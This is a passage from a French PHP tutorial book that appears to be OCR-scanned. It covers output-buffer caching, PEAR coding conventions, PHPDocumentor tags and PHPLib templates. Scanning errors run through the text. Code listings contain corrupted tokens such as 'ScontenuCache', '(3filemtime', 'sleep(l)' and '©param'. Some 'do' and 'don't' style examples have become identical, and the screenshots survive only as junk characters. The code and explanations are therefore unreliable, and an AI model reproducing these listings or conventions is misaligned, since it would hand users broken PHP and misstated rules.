retour Contenu du cache, ou FALSE si la gestion du cache n'est pas activee. 

Ainsi, afin de stocker le contenu d'un document dans un fichier, il suffit d'appeler le script 
suivant : 

Listing 4.11 : cache_01 .php 

<?php 

ob start(); 
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// Inserez ici, le code du script tel qu'il serai t 

// sans 1 'utilisation de cache 

// Exemple echo "J'ai ete mis en cache a ".strftime("%d/%m/%y %H:%M:%S"); 

echo "J'ai ete mis en cache a ".strftime("%d/%m/%y %H:%M:%S"); 

ScontenuCache = ob_get_contents() ; 
ob_end_flush() ; 

$fd = fopen("cache.html", "w"); 

if (!$fd) die("Impossible d'ouvrir le fichier de cache"); 

fwrite($fd, ScontenuCache); 

fclose($fd); 



En plus d'etre affiche, le contenu sera alors egalement stocke dans un fichier cache.html. 

Pour que cela soit utile, reste a determiner quand le fichier doit etre recree et quand il doit etre 
affiche tel quel. Pour connaitre la date de derniere mise a jour du fichier, nous pourrons faire 
appel a la fonction f ilemtime ( ) . II suffira alors de voir s'il date de plus de tant de temps 
(disons, a titre d'exemple, 2 mn). 

Listing 4.12 : cacheOLphp 

<?php 

SfichierCache = "cache.html"; 

if ((3filemtime($fichierCache)<time()-2*60) { 
// Oula... ga commence a dater 
ob_start() ; 

// Inserez ici, le code du script tel qu'il serait 

// sans 1 'utilisation de cache 

// Exemple echo "J'ai ete mis en cache a ". 

// strftime("%d/%m/%y %H:%M:%S"); 

echo "J'ai ete mis en cache a ".strftime("%d/%m/%y %H:%M:%S"); 

ScontenuCache = ob_get_contents() ; 
ob_end_flush() ; 

$fd = fopen($fichierCache, "w"); 
if ($fd) { 

fwrite($fd, ScontenuCache); 

fclose($fd); 
} 
} else { 

include($fichierCache) ; 
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} Vouspouvez vous reporter awe sections "Dates" et "Fichiers" pour plus de details sur 

les fonctions strftime ( ), timet), filemtime (), fopen(), fwriteO et 

RENVOI ^ 7 „ M/ , 

iclose ( ). 

Notez que, cette fois-ci, nous passons sous silence les cas ou le fichier cache n'a pu etre cree. En 
effet, il vaut mieux a ce moment-la ne pas polluer le document retourne (tant pis, nous ne 
profiterons tout simplement pas de l'effet de cache). 

Notez egalement qu'en l'absence du fichier de cache (ou si celui-ci n'est pas lisible), la fonction 
filemtime ( ) retournera un message d'erreur que nous masquons par un @. La valeur retour de 
filemtime ( ) sera alors false qui, converti en entier, vaut et sera done inferieur a la date 
limite ; le fichier cache sera done bien recree. 

II est egalement envisageable d'utiliser le cache juste pour recuperer ce qu'une fonction emet 
sur la sortie standard, sans que Ton veuille pour autant que cela apparaisse dans le document. 
Pour cela, vous devrez utiliser la fonction ob_end_clean ( ) . 



s Gestion du cache interne 



«n 
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Par defaut, les elements des documents a emettre vers un client sont mis dans un cache interne 
avant d'etre envoyes au navigateur (ceci afin d'optimiser les transferts de donnees). Ce qui fait 
que les donnees ne seront pas mises a disposition du client des qu'elles seront pretes, mais des 
que le cache sera plein (ou que l'execution du script sera terminee). 

En de rares circonstances, cela peut etre frustrant. Imaginez que vous utilisez un script PHP 
pour effectuer un long travail de traitement. Vous aurez certainement envie de suivre son 
evolution en affichant reguliere "tant de % realises". Malheureusement, il s'agit la d'une chaine 
de caracteres bien trop courte pour esperer voir le cache se remplir rapidement et etre informe 
de l'avancee du traitement avant la fin du script. 

Pour pallier cet inconvenient, il suffit de demander l'envoi du contenu de cache interne, meme 
si celui-ci n'est pas plein. Ceci se realise par un appel a la fonction flush ( ) que vous appellerez 
chaque fois que vous voulez envoyer le contenu du cache. 

II est egalement possible de demander que 1'appel a flush ( ) se fasse systematiquement (des 
qu'une nouvelle ligne est ajoutee au document). Pour cela, vous utiliserez la fonction 

ob_implicit_f lush ( ) . 



ob_implicit_flush () 



Active ou desactive l'envoi implicite. Quand l'envoi implicite est active, les donnees sont 
envoyees des que possible. 

Syntaxe ob_implicit_flush( [boolean $active]) 

$acti ve TRUE (valeur par defaut) pour activer, FALSE pour desactiver. 
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Mise en cache avant emission des donnees 



Syntaxe boolean headers_sent(void) 

retour TRUE si l'en-tete a deja ete emis, FALSE sinon. 



REMARQUE 



Partie de cache-cache 

L'utilisation des fonctions flush () et ob_implicit_flush() n'implique pas la 
disponibilite immediate des donnees au niveau de Vaffichage du navigateur. En effet, 
apres PHP, le serveur et le navigateur peuvent, eux aussi, decider de mettre les 
donnees dans un cache. 



Quoi qu'il en soit, dans un environnement de travail de type "Linux + Apache + Mozilla" le 
script suivant, 

Listing 4.13 : flush_02.php 

<?php 

set_time_limit(0) ; 

ob_implicit_flush() ; 

for ($i=0; $i<=100; $i++) 
{ 

echo "$i%<br />"; 

sleep(l); 
} 
?> 



affiche 1 %, 2 %, etc. a intervalles reguliers d'une seconde, alors que la variante de ce script 
(flush _01.php) ne faisant pas appel a ob_implicit_f lush ( ) n'affiche rien pendant une longue 
periode (probablement 100 secondes) avant d'afficher toutes les lignes d'un bloc. 

Nous avons du, ici, faire appel a set_time_limit ( ) pour autoriser l'execution d'un script de 
plus de 30 secondes. 



Les autres fonctions 

Ces fonctions sont egalement disponibles, mais n'ont pas ete vues precedemment. 

ob_get_length() 

Retourne le nombre de caracteres contenus dans le cache. 

Syntaxe string ob_get_length(void) 

return Longueur du contenu du cache, ou FALSE si la gestion n'est pas activee. 
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ob_flush() 



Permet d'envoyer le contenu du cache aii navigateur, puis de vider le cache sans pour autant 
mettre fin a la mise en cache. Cette fonction a ete introduite dans la version 4.2.0 de PHP. 

Syntaxe void ob_flush(void) 



ob_clean() 



Vide le contenu du cache sans pour autant mettre fin a la mise en cache. Cette fonction a ete 
introduite dans la version 4.2.0 de PHP. 

Syntaxe void ob_clean(void) 



ob_get_level() 



Retourne le degre d'imbrication des mises en cache (i.e. nombre d'appels a ob_start{ )). 
Cette fonction a ete introduite dans la version 4.2.0 de PHP. 

Syntaxe int ob_get_level (void) 

retour Le degre d'imbrication des mises en cache. 



Chapitre 5 



Les techniques de 
programmation 



5.1 Regies de codage 297 

5.2 Separation du code et de la mise en page 307 



Regies de codage 



5.1. Regies de codage 



Contrairement a ce que Ton peut trouver avec le langage Java, les auteurs de PHP ne suggerent 
pas veritablement de regies de codage. Cependant, en marge du developpement du moteur 
PHP, les auteurs de PHP group contribuent egalement a la realisation d'une bibliotheque de 
scripts PHP baptisee pear. Et, dans le cadre de ce projet, quelques regies de codage ont ete 
edictees. Ce sont principalement ces recommandations que nous allons presenter ici, tout en les 
completant et les ameliorant (souvent en gardant l'esprit Java). 

Ces regies de codage, souvent issues du simple bon sens, sont destinees a faciliter la lecture du 
code (notamment par un developpeur autre que 1'auteur principal du script), mais aussi a 
reduire les risques d'erreur de programmation. 



Presentation du code 

II est ainsi suggere : 

D'ecrire des lignes de code ne depassant pas 80 caracteres (et idealement ne depassant pas 
70 caracteres) pour en faciliter la lecture a l'ecran et sur papier. 

D'indenter le code avec quatre espaces (sans tabulations) afin de conserver la meme mise 
en page quelle que soit la configuration de l'editeur. 

De mettre une espace de part et d'autre d'un signe egal d'une affectation de valeur a une 
variable (voire plusieurs dans le cas d'une serie d'affectations pour un alignement plus 
lisible). 

— Ce qu'il faut faire : 

$varl = fonction(); 

$variable2 = 21 

— Ce qu'il ne faut pas faire : 
$variable2=21; 

D'inserer une espace entre les elements des structures de controle et les parentheses 
ouvrantes, afin de les differencier d'un appel de fonction. 

— Ce qu'il faut faire : 

if (condition) { 

codel; 
} 

— Ce qu'il ne faut pas faire : 

if (condition) { 

codel; 
} 

— Ce qu'il faut faire : 

if ((condl) && (cond2) ) { 

codel; 
} 
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— Ce qu'il ne faut pas faire : 

if ((condl)&&(cond2)) { 

codel; 
} 

D'utiliser des accolades meme pour les structures de controle ne contenant qu'une seule 
ligne. Ceci afin d'eviter tout oubli le jour ou une ligne devra etre ajoutee. 

— Ce qu'il faut faire : 

if (condition!.) { 

codel; 
} 

— Ce qu'il ne faut pas faire : 

if (condition!.) 
codel; 

De ne pas mettre d'espace entre le nom de la fonction et la parenthese ouvrante precedant 
les parametres. 

— Ce qu'il faut faire : 
maFonction($paraml) 

— Ce qu'il ne faut pas faire : 

maFonction ($paraml) 

De separer chaque parametre d'une fonction par une virgule suivie d'une espace (mais pas 
d'espace entre la parenthese ouvrante et le premier parametre). 

— Ce qu'il faut faire : 
maFonction($paraml, $param2) 

— Ce qu'il ne faut pas faire : 

maFonction ($paraml,$param2) 

De positionner l'accolade ouvrante de declaration d'une fonction juste au dessous du "f ' de 
function et de commencer le corps de la fonction apres avoir indente. 

— Ce qu'il faut faire : 

function maFonction() 

{ 

return "blabla"; 

} 

— Ce qu'il ne faut pas faire : 

function maFonction() { 

return "blabla"; 
} 
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Programmation 



Toujours utiliser les balises <?php ?> (et non <? ?> ou toute autre alternative). 

Les parametres optionnels (avec des valeurs par defaut) des fonctions doivent etre les 
derniers parametres de la fonction (du moins couramment omis au plus couramment 
omis). 

— Ce qu'il faut faire : 

function maFonc($pl, $p2 = "bla") 
{ 

return $pl.$p2; 
} 

— Ce qu'il ne faut pas faire : 

function maFonc($pl = "bla", $p2) 

{ 

return $pl.$p2; 
} 

Les fonctions doivent toujours retourner une valeur coherente (i.e. en cas d'echec 
retourner clairement false plutot que de ne pas retourner explicitement de valeur. En cas 
d'appel a une fonction ne retournant pas specifiquement de valeur, retourner true en cas 
de succes, et false sinon). 

Utiliser de preference include_once( ) (plutot que included) pour les fichiers a 
inclure, mais dont on peut eventuellement se passer, et require_once ( ) (plutot que 
require ( ) ) pour les fichiers necessaires au bon fonctionnement du script. 

Se tenir informe des problemes de securite lies a 1'utilisation de certaines fonctions (cf. 
include et upload de fichiers). 

Noms de classes, fonctions, variables et constantes 

Les regies de nommage de la bibliotheque pear ne sont pas tout a fait claires (du moins en ce 
qui concerne les classes et les variables). Mais une bonne pratique consiste a respecter a peu 
pres les memes regies que pour Java (meme si cela n'est pas le cas pour les fonctions natives de 
PHP et si, dans certains cas, on peut etre amene a s'en ecarter). 

Les classes 

Les noms de classes commencent par quelques lettres en majuscules indiquant le projet auquel 
elles appartiennent (ex. : SPP pour "Super Projet PHP") suivies d'un underscore et du nom 
decrivant le role de la classe. Ce nom ne comporte pas d'underscore et est essentiellement ecrit en 
minuscules. Seules les premieres lettres des mots composant le nom sont en majuscules. La lettre 
suivant l'underscore est, elle, une minuscule. Un nom de classe doit toujours commencer par une 
majuscule (ce qui est assure ici par l'abreviation du nom du projet). Ce qui donne, par exemple : 

class SPP_maClasse() 

{ 

} 
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Les methodes 

Les noms de methodes ne doivent pas commencer par une majuscule. Elles sont 
essentiellement ecrites en minuscules. Seules les premieres lettres des mots composant le nom 
sont en majuscules. II est conseille de distinguer les methodes internes (uniquement utilisees 
par la classe) des methodes externes (pouvant etre appelees par le developpeur) en faisant 
preceder les noms de methodes internes par un underscore. 

class SPP_superClasse 
{ 

function _fonctionInterne() 

{ 

// commence par un underscore 

} 

function superFonction() 

{ 

// pas de prefixe dans ce cas 
} 



Les fonctions 

Nous appliquerons aux fonctions (autres que les methodes) les memes regies de nommage que 
celles appliquees aux classes. 

function MA_superFonction() 

{ 

} 

Les variables 

Les noms de variables suivent les memes regies que celles des noms de methodes. 

$maSuperVariable 
$_maVariablePrivee 

En revanche, pour les variables globales, les regies de nommage PEAR suggerent de respecter 
les memes regies que pour les noms de classes, mais en les faisant preceder d'un underscore. 
($_PEAR_destructor_obj ect_list est cite en exemple, alors qu'il serait preferable d'utiliser 

le nom $_PEAR_destructorObjectList.) 

Les constantes 

Les noms des constantes sont en majuscules, et, dans ce cas, chaque mot est separe par un 
underscore. La encore, les noms doivent etre precedes du nom, abrege et en majuscules, de la 
bibliotheque. 

define("SPP SUPER CONSTANTE", 20); 
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Commentaires 

Ah ! les commentaires... II faut distinguer deux types de commentaires. II y a les commentaires 
destines aux personnes qui vont devoir utiliser les classes et fonctions. II s'agit dans ce cas de 
decrire l'objectif de la classe ou fonction ainsi que son interface (description des parametres 
d'entree et sortie). Puis il y a les commentaires destines aux personnes qui seront chargees de 
la maintenance du code. Dans ce cas, il s'agit plutot de decrire les algorithmes et les diverses 
subtilites qui ont ete mis en place pour que la fonction fasse ce que Ton attend d'elle. 

Dans le premier cas, les developpeurs de pear suggerent d'inclure dans les scripts des 
commentaires respectant la convention PHPDoc (fortement inspiree de JavaDoc). 

Dans le second cas, il est suggere d'utiliser soit la convention /* */, soit // (au choix du 
programmeur, mais pas #). 

PHPDoc(umentor) 
Installation 

PHPDoc est plus ou moins un standard d'ecriture repris du monde Java. Dans PEAR, on 
retrouve deux implementations, une appelee PHPDoc et l'autre PHPDocumentor. 
PHPDocumentor est le generateur de documentation recommande pour diverses raisons telles 
que la generation de fichier PDF, l'absence d'utilisation de base de donnees, possibilite de 
definir ses propres balises... En outre PHPDoc n'est plus en developpement. 

Pour installer PHPDocumentor une fois PEAR installe il suffit de taper pear install 

phpdocumentor. 



«£§ PHP415 

*=" Pour utiliser PHPDocumentor avec PHP5 il vous faudra utiliser au minimum la 

REMARQUE vers i on 130 autrement toute version est utilisable pour PHP4. 



Syntaxe des commentaires 

Tout comme pour JavaDoc, les lignes de commentaire doivent preceder les declarations de 
classes, fonctions, etc. selon le schema suivant : 

/** 

* Description succincte 

* Description detaillee 

* @param <type du parametre> description 

7 

Ces commentaires doivent apparaitre avant les instructions class (declaration d'une classe), 
function (declaration d'une fonction), var (declaration d'une variable), define (declaration 
d'une COnstante), include, include_once, require, require_once (inclusion de fichiers). 
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Les mots-cles valides sont : 

©access suivi de "private" ou "public" pour indiquer si une classe, une fonction ou une 
variable est privee ou publique (par defaut, elles seront considerees comme privees). 

©author suivi du nom de l'auteur et eventuellement de l'e-mail mis entre < et > (ne peut 

pas etre utilise pour include, include_once, require et require_once). Le champ 

e-mail est cense etre optionnel. En pratique, s'il n'est pas mis, le nom de l'auteur n'apparait 
pas. 

©const suivi du nom de la constante et eventuellement de la description (valable 
uniquement pour define). 

©deprecated suivi d'un commentaire precisant depuis quand (date ou version) l'element 
commente est deprecie (ne peut etre utilise pour include, include_once, require et 

require_once). 

©global, pour preciser le role d'une variable globale utilisee dans une fonction, suivi du 
type de la variable (pour les objets, precisez "obj ect " suivi du nom de l'objet), lui-meme 
suivi du nom de la variable, enfin eventuellement suivi de la description (valable 
uniquement pour function). 

©package, pour preciser a quelle bibliotheque appartient une classe, suivi du nom de la 
bibliotheque (valable uniquement pour class). 

©param, pour preciser le role d'un argument d'une fonction, suivi du type de la variable 
(pour les objets precisez "object " suivi du nom de l'objet), suivi du nom de la variable, 
eventuellement suivi de la description (valable uniquement pour function). 

©return, pour preciser le contenu de la valeur retournee par une fonction, suivi du type de 
la variable (pour les objets precisez "object " suivi du nom de l'objet), eventuellement suivi 
de la description (valable uniquement pour function). 

©see, pour faire reference a une autre fonction, une autre methode de la classe ou une 
variable, suivi du nom de l'element pointe. Le nom de la fonction doit inclure les 
parentheses ouvrante puis fermante. Cela insere alors un lien hypertexte dans la 

documentation (ne peut etre Utilise pour include, include_once, require et 
requireonce). 

©since, pour indiquer la date/version d'introduction de l'element, suivi de la date ou de 
l'identifiant de version (ne peut etre utilise pour include, inciude_once, require et 

require_once). 

©static, pour indiquer qu'une methode peut etre considered comme statique (appel 

MonObjet : :maMethode ( ) possible). Valable uniquement pour function. 

©throws, pour indiquer quelles erreurs peuvent etre levees. 

©var, pour indiquer le role d'une variable, suivi du type de la variable (pour les objets 
precisez "object" suivi du nom de l'objet), suivi du nom de la variable, eventuellement 
suivi de la description (valable uniquement pour var). 

©vers ion, pour indiquer le numero de version, suivi d'une chaine de caracteres totalement 
libre indiquant le numero de version. 
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/£\ Un seul ou plusieursfichiers 

"**^ Contrairement a PHPDoc, avec PHPDocumentor il est possible de definir plusieurs 

classes dans un meme fichier mais cela reste tout de meme deconseille pour des 
raisons de lisibilite (saufcas particuliers). 



Listing 5.1 : sources/phpdoc_demo01.php 

<?php 

/** 

* @const SPPjnaConstante Une bien belle constante 

7 
define ("SPP_MA_CONSTANTE", 20); 

$_SPP_maVariableGlobale = "SPP"; 

/** 

* Classe super pratique 

* La, je pourrais decrire ce que fait cette 

* classe mais comme je n'en ai aucune idee 

* je m'abstiendrais. 

* @author Damien HEUTE <damien@toutestfaci le.com> 

* ^package SuperProjetPHP 

* @access public 

* (Aversion 2.0 

* @since 2002-07-01 

7 

class SPPjnaClasse 
{ 

* @var string monParametre Parametre de sauvegarde 

v 

var $monParametre; 



* @param monObjet object SPP_autreClasse Object a sauvegarder 

* @return boolean TRUE si OK, FALSE sinon 

* @see vieil leFonction() 

7 

function sauve($mon0bjet) 
{ 

* ^global string Une variable globale. 

7 

global $ SPP maVariableGlobale; 
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return $monObj et->sauve ($_SPP_mavari abl eGl obal e . 
$thi s->monParametre) ; 
} 

/** 

* (astatic 

* @param texte string Texte a afficher 

*/ 

function affiche($texte) 

{ 

echo $texte; 

} 

/** 

* @deprecated 2.3 

V 

function vieilleFonction() 

{ 

// ne plus utiliser depuis version 2.3 

} 



* maFonction 

* @param parametrel string bl abl a 

*/ 

function maFonction ($parametrel) 
{ 



} 



?> 



Listing 5.2 : sources/phpdoc_demo02.php 

<?php 

/** 

* Une classe vraiment bidon 

* ^package SuperProjetPHP 

7 

class SPP_autreClasse 
{ 

} 

?> 



304 



Regies de codage 



»0 

REMARQUE 



En-tete defichier 

Dans le cadre duprojet PEAR, un en-tete defichier est suggere. Cela etant fortement 
dependant du projet, nous n 'aborderons pas ce point ici. 



Generation de la documentation 

La generation de la documentation est tres simple, elle peut se faire "en ligne" ou "hors ligne" 
c'est-a-dire avec les fichiers sources sur le serveur ou dans tout autre repertoire. 

II y a deux possibilites pour generer la documentation, soit en ligne de commande soit par une 
interface web. L'inconvenient de l'interface web est qu'il faut l'installer sur le serveur et qu'elle 
ne permet de generer de la documentation que sur les fichiers presents sur le serveur. Nous 
allons done voir uniquement le mode en ligne de commande. 

Entrons tout de suite dans le vif du sujet avec un exemple ou dans le repertoire courant il y a le 
repertoire sources qui contient vos fichiers sources (dans notre exemple nous reprenons les 
fichiers decrit precedemment) et que Ton veuille generer une documentation HTML dans un 
nouveau repertoire appele documentation: 

phpdoc -d sources -t documentation 

Voila, le tour est joue, voici le contenu du repertoire documentation: 



J media! 


P 


SuperProjetPHP 


&SL blank.html 
^^V' HTML Document 
^gj 1KB 


® 


dassr.rees_5uperProjetPHP . html 
HTML Document 


JflMk' elementindex.html 
^■i HTML Document 


® 


elementindex_5uperProjetPHP, , 
HTML Document 
6 KB 


jdM^ errors.html 
^^■: HTML Document 
^Jp/' 2KB 


@ 


index.html 
HTML Document 


&SL li SuperProjetPHP.html 
^^V , HTML Document 
^E/ 2KB 


^ 


packages.html 
HTML Document 
1 KB 
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Figure 5.1 : Contenu du repertoire documentation 

Et un apercu de la documentation generee (voir fig. 5.2) : 

Comme nous l'avons deja preciser, PHPDocumentor permet de generer des fichiers PDF, ici 
nous n'avons rien preciser et done le rendu obtenu est par defaut HTML avec la mise en page 
de PHPDocumentor. 
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Fidiier Edition AfFichage AHer a Marque-pages Outils 



i^ * ^ T *fcjj? - ^ft) LJ rile:///C:/documentation/index.htrnl 



3C 



SuperProjetPHP 



SupeiPiojetPHP 



Descr&tion 

Cla.ss trees 

Index of elements 
Classes 

SPP_autreClasse 

SPP_rna.Classe 
Functions 

maFonction 
Files 

phpdoc_dernooi.php 

phpdoc_dernoo2.php 

phpDocurnentor v 1.3.0RC3 



Class SPP maClasse 



Description 



Description | Vara (ds 1 '-"is (details) 



Classe super pratique 

La,je pourrais decrire ce que fait cette classe maiscornmejs n'en ai aucune 
idee je rn'abstiendrais. 

■ since: 2002-07-oi 

■ version: 2.0 

■ access: public 

■ author: Daniien HEUTE <damien@toutestfacile.coni> 

Located in (line 123) 



Variable Summary 



Description \Van (de 1 *ds (details) 



string fimonParametre 



Method Summary 



[■r.\ I n-'i.-ti I '■■■[.■ ■_- ill; .'.*■:"--.■ ■* ■■Jr l i... 



void affiche (texte $texte) 

boolean sauv : (monObjet $monObjet) 

void eilleFonction Q 



Figure 5.2 : Apergu de la documentation 

Voyons differentes options disponibles pour 1'outil phpdoc: 

-f ou --filename: nom du ou des fichiers separes par une virgule a analyser, (vous pouvez 
utiliser * ou ?) 

-d ou --directory: nom du ou des repertoires separes par une virgule a analyser. 

-t ou --target: repertoire ou creer la documentation, (il sera cree s'il n'existe pas deja) 

-i ou --ignore: liste de fichiers a ignorer. 

-q ou --quiet: n'affiche pas d'informations lors de 1'analyse. 

-ti ou --title: titre de la documentation ('Generated Documentation' par defaut) 

-h ou --help: permet d'obtenir une aide sur phpdoc. 

-o ou --output: defini le mode de generation. C'est cette option qui vous permet de 
generer de l'HTML, du PDF, du DocBook. . . Pour choisir il suffit d'aller dans le repertoire 
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Converters de PHPDocumentor et de definir le chemin vers le convertisseur que vous 
voulez. A ce jour il y a le choix entre: CHM:default, HTML:frames, HTML:Smarty, 
PDF:default, XML:DocBook. II est egalement possible de creer votre propre mode. 



REMARQUE 



Autres options 

II existe d'autres options mais moins souvent utilisees. 



5.2. Separation du code et de la mise en page 

Pour des raisons de maintenance, ou tout simplement parce que les bons developpeurs ne font 
pas necessairement de bons designers (et reciproquement), il est generalement souhaitable de 
separer le code de la mise en page. Ce principe general doit egalement s'appliquer au code 
PHP. Toutefois, s'il est evident que Ton ne va pas integrer un gros bloc de traitement au milieu 
d'un script d'affichage, la mise en pratique de cette regie est souvent bien illusoire. 

En eff et, comme tout langage de programmation de pages web, PHP se situe a la frontiere entre 
le code et la mise en page. Par consequent, il n'est pas rare que les instructions d'affichage ne 
se bornent pas a afficher une image par-ci et le contenu d'une variable par-la. Plus 
frequemment, les informations a afficher sont une liste d'informations (peut-etre issues d'une 
base de donnees), chaque information pouvant avoir des attributs qui vont influencer la facon 
dont elle doit etre affichee (par exemple, s'il s'agit d'une liste de noms de personnes, on pourra 
peut-etre vouloir afficher une petite icone indiquant s'il s'agit d'un homme ou d'une femme). 
Dans ce cas, inevitablement, le script charge de l'affichage devra contenir des instructions de 
boucle ainsi que des tests (pour avoir un affichage conditionnel selon les attributs). A moins, 
evidemment, que ce ne soit le script charge du traitement de l'information qui retourne du code 
HTML (et gere done les problemes de mise en page). 

A mon sens, la meilleure solution pour distinguer autant que possible le code de la mise en page 
consiste a faire judicieusement appel a des objets et fonctions stockes dans des scripts 
"bibliotheques". Nous ne pouvons toutefois pas taire les autres solutions (a base de modeles ou 
templates) proposees notamment au travers des bibliotheques PHPLib et pear. 

Utilisation des objets et de l'instruction include 

Le principe est simple : il suffit d'avoir un ou plusieurs scripts PHP ne contenant que des objets 
ou fonctions proposant des interfaces simples, et qui retourneront des donnees aisement 
manipulables par le ou les scripts charges de la mise en page. 

On pourra ainsi imaginer avoir des methodes comme : 



MaBD->rechercheVisiteurs () 



Exemple de fonction qui rechercherait une liste de visiteurs dans une base de donnees a partir 
d'un critere quelconque, et retournerait $nb valeurs a partir de la $debut-ieme. 
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Syntaxe array rechercheVi si teurs (string $critere, int $debut, $nb) 

retour Tableau d'objet Visiteur, ou FALSE en cas d'echec. 

Le script charge de l'affichage pourrait alors avoir Failure suivante : 

<?php 

// Inclusion de toutes les bibl iotheques necessaires 
require_once("bibl iothequel_inc.php") ; 

// Initialisation de toutes les variables necessaires 

$1 i ste = MaBD: :rechercheVi siteurs($critere, $debut, 10); 
?> 

<html> 
<body> 
<table> 
<?php 

if ($liste) for ($i=0; $i<count($liste) ; $i++) 

{ 
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?> 



<tr> 

<td> 

<?php 

if ($liste[$i]->sexe=="M") { 

echo "<img src=\"homme.gif\">"; 
} else { 
echo "<img src=\"femme.gif\">"; 



?> 



</td> 

<tdx?php echo $1 iste[$i]->prenom; ?></td> 

<tdx?php echo $1 iste[$i]->nom; ?></td> 
</tr> 
<?php 
} 
?> 

</table> 
</body> 
</html> 

Comme vous le voyez, nous sommes loin d'un script quasiment exempt de code. Mais il n'y a pas 
de miracle a esperer ! 

II est egalement possible de faire appel aux possibilites offertes par les instructions include ( ) 
et require () pour scinder une page complexe en plusieurs elements (fichiers) dedies a un 
sous-ensemble de la page. Ainsi, de nombreux scripts sont congus selon le modele : 

<?php 

include("entete_inc.php") ; 

// Corps de la page 

include("pieddepage_inc.php") ; 
?> 
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dans lequel le fichier entete Jnc.php (plus couramment appele header.php) contient 
generalement le titre du site, le logo, et, eventuellement, des barres de menu horizontale et 
laterale gauche (chacun de ces elements pouvant aussi etre dans des fichiers distincts). Le 
fichier pieddepage jnc.php (plus couramment appele footer.php) contient, quant a lui, 
l'indication de copyright et, eventuellement, une barre de menu laterale droite. 

L'utilisation de ces techniques offre de nombreux avantages : 

Elles sont tres simples a mettre en ceuvre. 

Elles facilitent la reutilisation du code. 

Elles sont relativement satisfaisantes en terme de separation des roles. 

Utilisation des modeles (templates) 

Avec la bibliotheque PHPLib 
Installation 

Vous devrez, dans un premier temps, vous procurer la bibliotheque PHPLib sur le site Internet 
http://sourceforge.net/projecls/phplib (elle se trouve egalement sur le CD-ROM fourni). II s'agit 
simplement d'un iichierphplib-7.4-prel.tar.gz a decompresser dans le repertoire de votre choix. 

Ce fichier contient juste une serie de scripts PHP (inutile done de recompiler PHP). Pour 
utiliser cette bibliotheque en toute liberte, il suffit d'ajouter le repertoire contenant la 
bibliotheque au chemin de recherche specifie par le parametre include_path du fichier 
php.ini. Cela peut egalement se faire en utilisant la fonction set_ini ( ) (utilisee comme suit : 

set_ini ( " include_path" , $nouvelleValeurIncludePath) ; ) au debut de chaque script 
faisant appel a la bibliotheque PHPLib. 

Pour utiliser les modeles, il suffira alors d'inclure le script template.inc disponible dans le 
repertoire php. Si vous n'avez pas modifie le contenu d'inciude_path, peu importe, vous 
n'aurez qu'a preciser le chemin complet vers ce fichier lors de l'include. 

Introduction 

La separation code/mise en page avec PHPLib prend un tout autre aspect. 

Le designer pourra creer des fichiers semblables a des fichiers HTML classiques, dans lesquels 
il aura, en plus, integre des mots-cles (entre accolades) ou defini des blocs (par des 
commentaires HTML). Ces fichiers HTML seront alors traites par un script ecrit par le 
developpeur faisant appel a la bibliotheque PHPLib, afin de remplacer les mots-cles et les blocs 
par leurs valeurs. 

Exemple de fichier modele (cree par le designer) : 

Listing 5.3 : modeles/phplib_01.tpl 

<html> 
<head> 
<title>{TITRE}</title> 

</head> 
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<body> 

<h3>{TITRE}</h3> 
<table border="l"> 

<!-- BEGIN blocLigne --> 
<tr> 

<td>{SEXE}</td> 
<td>{PRENOM}</td> 
<td>{NOM}</td> 
</tr> 

<!-- END blocLigne --> 
</table> 

<center>{ COPYRIGHT} </center> 
</body> 
</html> 

Exemple de fichier de substitution mot-cle/code (cree par le developpeur) 

Listing 5.4: phplib_01.php 

<?php 

require_once(". . /phpl ib-7.4-prel/php/template.inc") ; 

// Instanciation d'un objet Template 

// en precisant que : 

// * les fichiers de model e 

// sont stockes dans le repertoire model es 

// * les mots cles non reconnus 

// seront conserves 

$modele = new Template("modeles", "keep"); 

// Associe un identifiant au fichier model e 
$model e->set_f i 1 e ( " i dModel e" , "phpl i b_01 . tpl " ) ; 

// Definit les valeurs associees aux mots cles 
$modele->set_var(array("TITRE" => "Model es avec PHPLib", 
"COPYRIGHT" => "Copyright 2002")); 

// Extrait du fichier identifie par "idModele" 
// le block nomme "blocLigne" et le remplace par 
// le mot cle "1 ignes" 
$modele->set_block("idModele", "blocLigne", "lignes"); 

// A titre d 1 exemple 

// remplace les mots cles du bloc ligne 

// par differentes valeurs 

$modele->set_var(array("SEXE" => "<img src=\"homme.gif\">", 

"PRENOM" => "Pierre", 

"NOM" => "Dupond")); 
$modele->parse("l ignes", "blocLigne", true); 

$modele->set var(array("SEXE" => "<img src=\"femme.gif\">", 
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"PRENOM" => "Anne", 
"NOM" => "Durand")); 
$modele->parse("lignes", "blocLigne", true); 

$modele->set_var(array("SEXE" => "<img src=\"homme.gif\">", 

"PRENOM" => "Jean", 

"NOM" => "Bon")); 
$modele->parse("lignes", "blocLigne", true); 



// procede aux substitutions 

// et stocke le resultat dans une variable 

// "resultat" 

$modele->parse( "resultat", "idModele") ; 

// affiche le resultat 
$modele->p("resultat") ; 
?> 



Ceci affichera alors : 



Modeles avec PHPLib 


f Pierre Dupond 




*||Anne ||Durand 
t Jean Bon 




Copyright 2002 



Figure 5.3 : 

Exemple d'utilisation 
de modeles avec 
PHPLib 



Comme vous pouvez le constater, le designer n'a absolument pas besoin de connaitre le langage 
PHP. En revanche, la tache du developpeur est sensiblement plus complexe (comme celle du 
serveur). Ce dernier doit apprendre un "nouveau langage", celui de la manipulation des 
modeles. 

La base 

L'utilisation des modeles PHPLib commence par l'instanciation d'un objet Template selon la 
syntaxe suivante : 



Template 

Objet modele de PHPLib. 

Syntaxe Template Tempi ate (string $repertoireModeles, string 

$modeErreur) 

$repertoi reModel es Repertoire ou sont situes les fichiers de modeles. 

$modeErreur Chaine de caracteres indiquant quel doit etre le comportement lorsque 

des mots-cles inconnus sont rencontres. Cet argument doit prendre une 
des valeurs suivantes : 
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"keep" si le mot-cle doit etre restitue dans le flux de sortie. 

"comment" si le mot-cle doit etre mis en commentaire dans le flux de 

sortie. 

"remove" (valeur par defaut) si le mot-cle doit etre ignore (et ne pas 

paraitre dans le flux de sortie). 

Toutes les manipulations a venir s'appuient sur des mots-cles (les chaines de caracteres 
integrees au code HTML du modele, y compris les noms de blocs) et des noms de variables (ni 
plus ni moins des chaines de caracteres representant des portions du modele). II n'est pas rare 
que ces deux notions se confondent. 

Meme si, dans une utilisation "normale", cette methode n'est appelee qu'a la fin du traitement, 
void la methode permettant d'afficher le contenu d'une variable. Dans notre cas, elle sera 
egalement utilisee pour demontrer les proprietes des differentes methodes de l'objet Template. 
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Template->p() 



Affiche le contenu de la variable indiquee. Cette fonction est generalement utilisee pour 
afficher le resultat final. 

Syntaxe void p (string $variable) 

$vari abl e Nom de la variable dont on veut afficher le contenu. 

